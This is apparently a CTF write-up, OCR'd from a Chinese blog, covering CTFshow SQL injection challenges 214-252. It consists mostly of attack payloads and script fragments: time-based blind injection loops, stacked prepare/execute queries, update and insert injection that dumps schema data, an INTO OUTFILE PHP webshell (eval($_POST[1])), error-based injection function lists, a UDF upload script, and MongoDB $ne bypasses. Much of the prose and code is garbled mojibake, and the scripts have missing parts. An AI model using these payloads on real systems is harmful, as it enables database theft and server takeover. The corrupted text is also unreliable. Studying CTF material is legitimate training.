CTFSHOW-SQLEA-—

k1he F 2021-10-04 17:55:43 KA 158 W, 2
X EHRE:  sql python
RO RSO R RO E, EE_CC 4.0 BY-SA KRN, H#iEM LECH B mAER,

A EEHE: https://blog.csdn.net/qq_51754713/article/details/120606294
R

title: CTFSHOW-SQLIEA (&)
date: 2021-09-25 09:32:11
tags: CTF-WEB

CTFSHOW-SQLEA (=)

X B & ctfshow sqiE NI — 5

H: 214-250

B % SQLmap 4 F Fitamperff1 4 538 & A K B E . R kBkid T sqlmap #5843
I 18] 5 ¥

web 214(5 /7 1 ¥ S5 1)

BT . LREAREHEAR.

V#4118 72 /api/index.php i) post B [

id=xx&debug=0

WE VA 4. RIEXNMARE GRIE


https://blog.csdn.net/qq_51754713
https://so.csdn.net/so/search/s.do?q=sql&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=python&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_51754713/article/details/120606294

import requests

while 1:
mid )>>1
if( mid) :
flag (mid)
print(flag)

break

payload
(i,mid)

data = {
:payload,

)

try:
res requests.post(url=url,data=data,timeout=0.6)
mid
except:
mid

web 215(FF jal ¥\ -5 2 )




import requests

while 1:
mid )>>1
if( mid) :
flag (mid)
print(flag)

break

payload
(i,mid)

data = {
:payload,

)

try:
res requests.post(url=url,data=data,timeout=0.6)
mid
except:
mid

web 216(H 8] 3\ 35 5 5)




import requests

while 1:
mid ( )>>1
if( mid) :
flag (mid)
print(flag)

break

payload
(i,mid)

data = {
:payload,

)

try:
res requests.post(url=url,data=data,timeout=0.6)
mid
except:
mid

web 217 (k) 8] 7 A -benchmark)
BTREJIMEANEREERE T RE - NMHEMRARNER, HTEKRSB[MBENE, #HTmEBRENEANRRR. 2!
where id ($id);

function waf($str){
return preg _match(

}

XEIE Tsleep. WHEHRREALT . LIMENIKIBE, HEeMsleepr] L Abenchmarkf{#E . ERXIIE LA KNT. @25
A RABATR D JLRER. BEWT —T. BEERKT .. BERPIHENREET

XflagBAET . - o

Pt RegR AR AAREAERRXA . ZBEA TrikeiE A4 EFflag.




import requests

head 32
tail 127

while head tail:
mid (head + tail)

payload

data
{payload}),{i}

requests.post(url, data=data, timeout=1)

tail = mid
except Exception as e:
head = mid + 1

if head B

result (head)
else:

break
print(result)

web 218( 8] 73 A -rlike)
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import requests

from time import

while 1:

]

if K
flag (3)
print(flag)
if (3)

exit()

break

payload

data={
:payload,
10
s
try:
r=requests.post(url=url,data=data,timeout=0.3)
]
except:
]
sleep(0.2)
sleep(1)

web 219(if 8] B 13 - £ /R R)




import requests

(30,100):

while 1:
J
if K
flag (3)
print(flag)
if (3)
exit()

break

payload

data={
:payload,
10

r=requests.post(url=url,data=data,timeout=0.15)
]
except:
]
time.sleep(0.2)
time.sleep(1)

web 220(8} | B 7 -{E )

B mfE7 1
function waf($ ){
return preg_match(

sleep,rlike,benchmark it #1€ 7. RAH R RBEN.

ascii,hex,concat,substr,mid# i3 38 7 ¥ FHregexp.




import requests

for i in strr:
res i
data {
{payload}),{j})="{

r requests.post(url, data=data, timeout=3)
res res[:-1]
except Exception as e:
print(res)
j+=1

HEEA

web 221(limit-procedurei: \)

& H F5.0.0<Mysql<5.6.6

T selectf¥limit /& 1 7T LA ER procedure flintoBi AN K7 .

B Hinto f) 'S5 SO A4 75 2 7 T A 4 o B 4% LA 5 A shell SRR .
X B A FEZE R Hprocedure.

procedure 5 i 7] AFR S 3 analyse XX #: R 28 .

[HMaE By e A7 R I VR i BT Be R Bl S AL, 2 UOKE B IR A T SR B 3% b A% (img-PMHoSam0-1633341325933)
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LA 21X B BATAT AR R IREETEN -

api/?page=1&1imit=7 procedure analyse(extractvalue(null,concat(®x7e, (select database()),0x7e)),1)

XBRBEERELRITT . FAFRKEEZNRER MseleciBA i, FiX BERMABERELRRES .
X B — A p e B imitE A SCE
web 222(group by i£ )
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$sql = select * from ctfshow user group by $username;

$username

i 9=
$sql select from ctfshow_user group by 1,if(ascii( )>1,sleep(0.05),0);

FEAsqlXtFgroup byRMRIE—%— B IEE 5 BT conunt+1E RIS — KRB # &7 —1Ksleep(0.05) . I-ABLH LLE BET 1 E
.

%7 feng I 18 i AL A5

import requests

while 1:
]
if iE
flag (3)
print(flag)
if (3)
exit()

break

payload
(i,3)

try:
r=requests.get(url=url+payload,timeout=0.4)
J
except:
J
time.sleep(0.2)
time.sleep(1)

web 223(group by i£ )

$sql select from ctfshow_user group by $username;

TODO: R% 4, AHETRE
VAR Ny
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import requests

def generateNum(num):
res
if num 1:
return res
else:
for i in
res

return res

while head tail:
mid (head + tail)

payload
params
{payload}), {generateNum(i)}, {generateNum(1)}

requests.get(url, params=params)

if in r.text:
head mid 1
else:
tail mid
if head 32:
res (head)
else:
break
print(res)

web 224(3C 4B TEN)
y1ng {8 i) e o

ARG X BB A IR S . BB AR 2 Shell. SR 5 & flagBi .

{generateNum(mid)}




yIngi g BIREL T

web 225(3 B\

XA EESE IR 2019 FEMEE .
AR =R

43 %) & handler,rename,prepare.

payloadl:handlerf{#select

username=1

;prepare klhe from concat( );execute klhe;

payload3: 4
AGATAE, BAbanT alter WIMNEH#ATHA T . FrUAH EEPIFEIAT.

HE B ENR T

web 226(3# S i )

o e 3t 3 08 R 22 A

if(preg_match( ,$username)

die(json_encode($ret));

HAEFBSHPLIET . SBIEAIAA T concat. & T YAIHEKIWP.
R AER 163 %], KT

AR

username=1

s;prepare klhe from 0x73656c656374202a206672616d2063746673685f6f775f666c61676173;execute klhe;

web 227(H SR Ft: mysql Fi5 )

£ MySQL 1, FAEIEMEENEEFMHE information_schema HWEETHK Routines X, W LLUEEEWHIZRMIEFREMNG
R NEE, RERKIEEEAWT:

SELECT FROM  information_schema.Routines

RG] LB BB —getFlag)E$l. BRX BflagE @4 HRKT .

payload: i fgetFlag()
Pusername=1"';call getFlag();

payload: BEE g2
Pusername=1";prepare klhe from 0x73656c656374202a206672616d20696e6661726d617469616e51736368656d612e72617574696€e6
573;execute klhe;

web 228-230(/7 226)



username=1";prepare klhe from ©x73656c6563742067726175705f63616€636174287461626Cc655f6€616d65292066726F6d20696€6
661726d617469616e51736368656d612e7461626c6573207768657265207461626c6551736368656d613d64617461626173652829; execut

username=1%27;prepare’%s20klhe’%20from’%200x73656c656374202a206672616d2063746673685F61775f666c616761736161 ;execute
20klhe;

UPDATEJE A
web 231-232(updatei: \ )

$sql {$password} {$username} ;

Al DAE Bix B iEA) 2 5 # R B i fpassword. #f#— T KEHIPaylaod

1

LR kX B AR BN T 1, P A RE N T Auser OBNHETH P . Af5where 1=1 XA EHMAHTE . FAVAELIE R 2 — %
— KW, FAE TImTER.

ID FF#E 2h
1 root@localhost 1
2 root@localhost 1
3 root@localhost 1
- root@localhost 1
5 root@localhost 1
6 root@localhost 1
7 root@localhost 1
8 root@localhost 1
9 root@localhost 1
10 root@localhost 1

R4 BT BRATTEE S AT Payload B T .



,username=(select group_concat(column_name) from information_schema.columns where table name

where 1=1

password=1"',username=(select group_concat(flagas) from flaga) where 1=1

web 232 R FEEMAHES AR .

HBE—FH -/ payload: TEMGT A
[FMaEE P % A SR T vl T e B s e L A1) S UK [ R DR A7 T SR EL 3% B A% (img-PafiRhh6-1633341325939)
(https://i.loli.net/2021/09/25/J3Gp87xc1ASrQwB.png)]

ct group_concat (column_name)a from information _schema. columns where table

USER, CURRENT_GONNECT IONS, TOTAL_CONNECT IONS, id, username, password, level, id, username,

A AE X B RATFI A T ¥ =B A group_concatdiN T a. )5 B IXANHT I 7 & ) 45 RAF 2K BON T khe.
REEA fklhe. aZ 2 T HEK AR

XRFE AupdateiE N, FHAREXE ML RBTIME. FHRINIRA T TERHTTRRE.

web 233(i [ B )
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import requests

while 1:
mid=(
if mid:
flag (mid)
print(flag)
if (mid)
exit()

break

payload
(i,mid)

data={
:payload,
b
try:
r=requests.post(url=url,data=data,timeout=0.9)
mid
except:
mid
time.sleep(0.2)
time.sleep(1)

web 234(#. 5] 5 81t 38)
2 —

RITEATRAZMEHEN . XBEBGSHLET . 7TUMARBLER.




$sql

passiA"\"

Bi$sql
L\ J5 TH 5] S5 L, FBA B R —A~username 8] 85| S &R 24 /E 75 5 Ab

R IEEHIBRATHIpayload B T,

,username=(select group_concat(table _name) from information_schema.columns where table_schem|

password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_name
Ox666c6167323361)

=flag:
password=\&username=,username=(select flagass23s3 from flag23a)

XHEEER T select flagass23s3 from 0x666c6167323361 EAH K. RBAFE N 4.

web 235(FE 5 & EN)

{$password} {$username}

ST . EREWEAN LE—BKpayload. F Ninformation_schemasi#or. FEXEFH—ANTLIIGIEN.

JeiEE— M mysql B RFEHRSA.

TIBEANMT LIS BAERTEALHEWRS.



ysql> select 1,2,3 union select * from users:

Angel ina
Dummy
secure
stupid
superman

I-kill—you
p@ssword
crappy
stupidity
genious

batman
admin
admini
admin2
admin3
dhakkan
admin4

mob! le
admin
admin
admin2
admin3
dumbo
admind

—
OV~ WN——

—
—

S
M

I I [
T T

14 rows in set (0.05 sec)

from (select 1,2.3 union select * from users)y

mysql> select "2’

Angel ina
Dummy
secure
stupid
superman
batman
admin
adminf
admin2
admin3
dhakkan
admin4

HRA:
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table stats where database_name
database())

= flag:

password=\&username=,username=(select from (select 1,2,3 union select from limit 1,1)y)

web 236(fi H i 38)




AR

password=\&username=,username=(select group concat(table name) from mysql.innodb_table stats where database name|

database())

FEoA B T flag. A RN EEbase64B1 7],

=flag:

password=\&username=,username=(select to base64( ) from (select 1,2,3 union select from flaga limit 1,1)y)

INSERT # A
web 237(inserti: A\)

$sql

BE—T. WENINIFupdateiE N, A FRATAT LI EIE E N KinsertE|password B 1 .

,(select group_concat(column_name) from information_schema.columns where table_name

=flag:
username=klhe', (select group_concat(flagass23s3) from flag))

web 238(id 38 7 #%)

, (select(group_concat(column_name))from(information_schema.columns)where(table name

Zflag:
username=1", (select(group_concat(flag))from(flagb)))

web 239(izt 38 % #%,0r)

HEBIITHNBEN



AR

username=1", (select(group_concat(table name))from(mysql.innodb_table stats)where(database name=database())))

. Blfflag

username=1", (select(flag)from(flagbb)))

web 240( //i3 38 #% or sys mysq|l)

Hint: ®43Lofr, flaghk, FEHAHa/b4Rk, Wiflagabaab, &/MN5

BRI, R BEFREhhh,

SR JE AR E B T R AR U 51 44 Aflag. BEANMIARBAE AR AT . REB321K.

import requests

import random

url
data = {

def TableName():
values
table [random.choice(values) for i in (5)]

tableName .join(table)
return tableName

X in (1,100):
data[ ] {TableName()}

S requests.post(url, data = data)
print(data)

DELETEE A
web 241(deletei: \)

$sql {$id}";

—HEEEBE. BT TMENwWpRNEEE. ¥ 7!

! RINRES TIEREM T . EEHE




import requests

while 1:
mid=(
if mid:
flag (mid)
print(flag)
if (mid)
exit()

break

payload

data={
:payload,

b

try:

r=requests.post(url=url,data=data,timeout=0.9)

mid

except:
mid

time.sleep(0.2)

time.sleep(1)

FILE:A

web 242(file% %)




$sql {$filename} 5

INTO OUTFILEIEA]:
SELECT INTO OUTFILE
[CHARACTER SET charset_name]

[export_options]
export_options:
[{FIELDS | COLUMNS}
[TERMINATED BY ]

[[OPTIONALLY] ENCLOSED BY
[ESCAPED BY ]

]

[LINES
[STARTING BY
[TERMINATED BY

“OPTION”ZYUCNWIESHUAT, HAREHMBUESR:
: WEPHRAFBRZIANSRET, RN RENFRF. RIMER\t”.
: REFHRESFZERNME, RENEANFRH. BRIMER T AMERENFS .
: WEFRRFEMHECHAR. VARCHARFITEXTE FRA 7B . BRINER FAEREMFFS .
: WERENLFR, REENEANFER. BRIMEA\".
: WESTHEALNER, TUUARAREAN TR BRINMER T AMERETFHF.
: REBTHESRNZER, TUARANRZAFRF. BRIMER\n”.
F X FATTAT AFIFHLINES TERMINATED BY X FER/R T RERIN L —AEART.

payload:
filename=k1lhe.php php eval($ POST[1]);

web 243K B30 L 4%)
W

Z MM 2R ? 18E LA htaccessfH 2 #1145 17 R IX B dump B & F Findex.php.

IR R AL user.initF T .

filename=.user.ini

lines terminated by 0x3c3f706870206576616c28245f504153545b315d293b3f3e
H R R R . FRAAS S T8 A2 1 1) #E0.0
REETEAN
web 244751 38)




or extractvalue(null,concat(@x7e, (select group concat(column_name) from information_schema.columns where ta
ble name ),0x7e))

id=1'or extractvalue(null,concat(@x7e,reverse((select group_concat(flag) from ctfshow_flag)),0x7e))

web 245(5d 3E updatexml)

BRI

or extractvalue(null,concat(@x7e, (select group_concat(column_name) from information_schema.columns where ta
ble _name ),0x7e))

id=1'or extractvalue(null,concat(@x7e,reverse((select group_concat(flagl) from ctfshow_flagsa)),0x7e))

web 246(i1 3 extractvalue,updatexml)

B’RFR. BFBRMEHKfloonEN.

union select 1,count(*),concat(@x3a,0x3a, (select column_name from information_schema.columns where table_n
limit 1,1),0x3a,0x3a,floor(rand()*2))a from information_schema.columns group by a;%23

union select 1,count(*),concat(@x3a,0x3a, (select flag2 from ctfshow flags),0x3a,0x3a,floor(rand()*2))a frog
m information_schema.columns group by a;%23

web 247(5i 38 T extractvalue,updatexml,floor)

—312F RN




1. floor rand group by

select * from user where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(®)*2))x from infon
mation_schema.tables group by x)a);

select * from user where id=1 and (select count(*) from (select 1 union select null union select 1)x group by

concat((select table name from information_schema.tables 1limit 1),floor(rand(9)*2)));

2. ExtractValue
select * from user where id=1 and extractvalue(1l, concat(@x5c, (select table name from information_schema.tables
limit 1)));

3. Updatexml

select * from user where id=1 and 1=(updatexml(1,concat(®x3a, (select user())),1));

4. Name_Const(>5.0.12)
select from (select NAME_CONST(version(),0),NAME_CONST(version(),0))x;

from(select a join mysql.user b)c;
from(select a join mysql.user b using(Host))c;
from(select a join mysql.user b using(Host,User))c;

select from user where i (select from (select version())a));

7. geometrycollection()
select * from user where i geometrycollection((select from(select from(select user())a)b));

8. multipoint()
select * from user where i multipoint((select from(select from(select user())a)b));

polygon()
select * from user where i polygon((select from(select from(select user())a)b));

10. multipolygon()
select * from user where i multipolygon((select from(select from(select user())a)b));

11. linestring()
select * from user where i linestring((select from(select from(select user())a)b));

12. multilinestring()
select * from user where i multilinestring((select from(select from(select user())a)b));

iX B {8 FH ceilfround

id=" union select 1,count(*),concat(@x7e,0x7e, (select from ctfshow_flagsa limit ©,1),0x7e,ceil(rand()*2)
)a from information_schema.columns group by a

EVALE A
web 248 (UAFEAN)

B AEEHED!
REENE. TR—E¥R

import requests













for i in (0,21510, 5000):
end i 5000
payload.append(udf[i:end])

(text, payload))

for t in text:
url base_url
(p[t], t)
r = requests.get(url)
print(r.status_code)

next_url base_url

rn requests.get(next_url)

uaf_url=base url
r=requests.get(uaf_url)
nn_url = base_url

rnn requests.get(nn_url)
print(rnn.text)

NO SQLEA

web 249(NOSQL)
SENARCELe K
web 250(K $7EN)

$query = new MongoDB\Driver\Query($data);

$cursor = $manager->executeQuery( , $query)->toArray();
if(count($cursor)>0){

$ret[ ] 5
array_push($ret][ 1, $flag);

" A BB R DA flag -




HIET RN

username[$ne]=1&password[$ne]=1

EREEHEHEE. XA payloadiT i@, SHEEBE.
& iEpayload £ #Fpayload.

FB R AN i R AN RN E T

web 251-252(nosq|l)

E—/@payloadT .

Z 3 7 adminf K &1L

B Hadmin{T—#. #ifflag. Ht4?

username[$ne]=admin&password[$ne]=ctfshow666nnneeaaabbbcc

web 252(no sql B i)

import requests

CRL)F
for j in letter:
temp_flag flag+j
payload . (temp_flag)
data {
: payload,
}

r = requests.post(url=url,data=data)

in r.text:
flag Jj
print(flag)
break
else:

continue
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